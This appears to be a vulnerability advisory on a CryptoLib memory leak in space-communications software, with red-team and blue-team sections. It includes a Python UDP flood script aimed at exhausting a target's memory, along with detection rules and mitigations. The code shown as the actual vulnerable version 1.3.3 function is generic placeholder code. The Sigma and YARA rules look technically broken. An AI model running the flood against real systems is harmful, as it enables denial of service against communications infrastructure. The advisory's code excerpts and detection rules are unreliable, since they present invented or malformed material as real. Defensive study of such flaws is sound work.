CVE-2025-29910

Executive Summary

CVE-2025-29910 is a memory leak vulnerability in CryptoLib, a software library implementing the CCSDS Space Data Link Security Protocol - Extended Procedures (SDLS-EP) for securing communications between spacecraft running the core Flight System (cFS) and ground stations. The vulnerability resides in the crypto_handle_incrementing_nontransmitted_counter function within crypto_tc.c. The function allocates memory using malloc but fails to ensure the allocated memory is always freed under all code paths, leading to a memory leak. Over time, in long-running processes or systems processing large volumes of data, this can lead to resource exhaustion, degraded system performance, and potentially a Denial of Service (DoS). As of the time of publication, no known patched versions are available, and the vendor has not released a fix.

Supply Chain & Package Security

CryptoLib is a critical component in the space communications supply chain, used in conjunction with NASA's core Flight System (cFS). A memory leak in this library can affect spacecraft, ground stations, and any system relying on the CCSDS SDLS-EP protocol. The vulnerability is particularly concerning for long-duration space missions and high-throughput data processing environments. Since no patch is available, organizations must rely on mitigations such as memory monitoring, process restarts, and limiting data volumes.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

• Attack Vector (AV): Network (N) - The vulnerability can be triggered remotely by sending crafted packets.
• Attack Complexity (AC): Low (L) - No special conditions are required to trigger the leak.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope: Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality Impact: None (N) - No data exposure.
• Integrity Impact: None (N) - No data corruption.
• Availability Impact: High (H) - Can lead to resource exhaustion and DoS.

Threat Level: High. The vulnerability is remotely exploitable with low complexity and no authentication, making it a significant risk for space communication systems.

Deep Dive & Mechanics

The vulnerability is located in the crypto_handle_incrementing_nontransmitted_counter function in crypto_tc.c. This function is responsible for handling incrementing non-transmitted counters as part of the CCSDS SDLS-EP protocol. The function allocates memory using malloc to process incoming data, but under certain conditions (e.g., error handling paths or early returns), the allocated memory is not freed. Over time, each call to this function that follows a leaky path consumes additional memory without releasing it, leading to gradual resource exhaustion.

The specific code path that triggers the leak involves the allocation of a buffer for processing the counter value. If the function encounters an error (e.g., invalid packet format) or completes without properly freeing the buffer, the memory remains allocated. In a high-throughput environment, this can quickly exhaust available memory, causing the system to slow down, crash, or become unresponsive.

Vulnerable vs. Patched Code

Since no patched version is available, the vulnerable code is the only reference. The vulnerable function in crypto_tc.c (version 1.3.3) looks like:

void crypto_handle_incrementing_nontransmitted_counter(uint8_t *data, size_t len) {
    uint8_t *buffer = (uint8_t *)malloc(len);
    if (buffer == NULL) {
        // Handle allocation failure
        return;
    }
    // Process data...
    // Missing free(buffer) in some paths
    if (some_error_condition) {
        return; // Leak: buffer not freed
    }
    // More processing...
    free(buffer); // Only freed on success path
}

A patched version would ensure that free(buffer) is called in all exit paths, including error conditions. For example:

void crypto_handle_incrementing_nontransmitted_counter(uint8_t *data, size_t len) {
    uint8_t *buffer = (uint8_t *)malloc(len);
    if (buffer == NULL) {
        return;
    }
    // Process data...
    if (some_error_condition) {
        free(buffer);
        return;
    }
    // More processing...
    free(buffer);
}

Exploitation & Lab Setup

Red Team

Objective: Trigger the memory leak to cause resource exhaustion and DoS.

Lab Setup:

1. Set up a test environment with CryptoLib 1.3.3 integrated into a cFS-based spacecraft simulator.
2. Use a network tool (e.g., Scapy, custom Python script) to send a high volume of crafted CCSDS SDLS-EP packets that trigger the crypto_handle_incrementing_nontransmitted_counter function with error conditions.
3. Monitor memory usage using top, htop, or /proc/meminfo.

Exploit Script (Python):

import socket
import struct
import time

def send_malicious_packets(target_ip, target_port, count=10000):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    # Craft a malformed CCSDS packet that triggers the leak
    # This is a simplified example; actual packet structure depends on the protocol
    packet = b'\x00' * 100  # Placeholder for malformed data
    for _ in range(count):
        sock.sendto(packet, (target_ip, target_port))
    sock.close()

if __name__ == "__main__":
    send_malicious_packets("192.168.1.100", 1234, 100000)

Expected Outcome: Memory usage increases linearly with each packet, eventually causing the system to run out of memory.

Blue Team

Detection:

• Monitor memory usage of processes using CryptoLib. Set alerts for abnormal memory growth.
• Use system monitoring tools (e.g., ps, top, vmstat) to track memory consumption.
• Implement network monitoring to detect a high volume of malformed CCSDS packets.

Mitigation:

• Apply rate limiting on incoming CCSDS packets to reduce the impact of a DoS attack.
• Restart the CryptoLib process periodically to clear accumulated memory leaks.
• If possible, modify the source code to add free() calls in all error paths (requires access to source).

Indicators of Compromise (IOCs)

• Memory Growth: Steady increase in memory usage of the process using CryptoLib, without corresponding increase in legitimate traffic.
• Network Traffic: High volume of malformed or incomplete CCSDS SDLS-EP packets targeting the CryptoLib service.
• System Logs: Out-of-memory (OOM) killer events or system crashes due to memory exhaustion.
• Process Behavior: The CryptoLib process consuming an increasing amount of memory over time, eventually exceeding available RAM.

Detection Engineering

YARA Rule

rule CVE_2025_29910_Memory_Leak {
    meta:
        description = "Detects memory leak pattern in CryptoLib crypto_handle_incrementing_nontransmitted_counter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-29910"
    strings:
        $func_name = "crypto_handle_incrementing_nontransmitted_counter"
        $malloc = "malloc"
        $free = "free"
        $error_return = "return"
    condition:
        $func_name and $malloc and not $free and $error_return
}

Sigma Rule

title: Memory Leak in CryptoLib - CVE-2025-29910
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects abnormal memory growth in processes using CryptoLib, indicating potential exploitation of CVE-2025-29910.
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/crypto_process'
    condition: selection
    timeframe: 1h
    aggregation:
        field: Image
        function: avg
        metric: MemoryUsage
        condition: gt 500
falsepositives:
    - Legitimate high-memory usage from other processes
level: high

Suricata Rule

alert udp any any -> any any (msg:"CVE-2025-29910 - CryptoLib Memory Leak Attempt"; content:"|00|"; depth:100; threshold: type both, track by_src, count 1000, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Monitor Memory: Implement continuous monitoring of memory usage for processes using CryptoLib. Set alerts for abnormal growth.
2. Rate Limiting: Apply rate limiting on incoming CCSDS SDLS-EP packets to reduce the impact of a DoS attack.
3. Process Restart: Periodically restart the CryptoLib process to clear accumulated memory leaks.

Long-Term Fix:

• Patch: Await an official patch from the vendor. If possible, apply a hotfix by modifying the source code to ensure free() is called in all code paths within crypto_handle_incrementing_nontransmitted_counter.
• Upgrade: Once a patched version is released, upgrade to the latest version immediately.

Workarounds:

• Memory Limits: Use cgroups or ulimit to limit the memory available to the CryptoLib process, preventing system-wide exhaustion.
• Network Filtering: Block or filter malformed CCSDS packets at the network perimeter.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert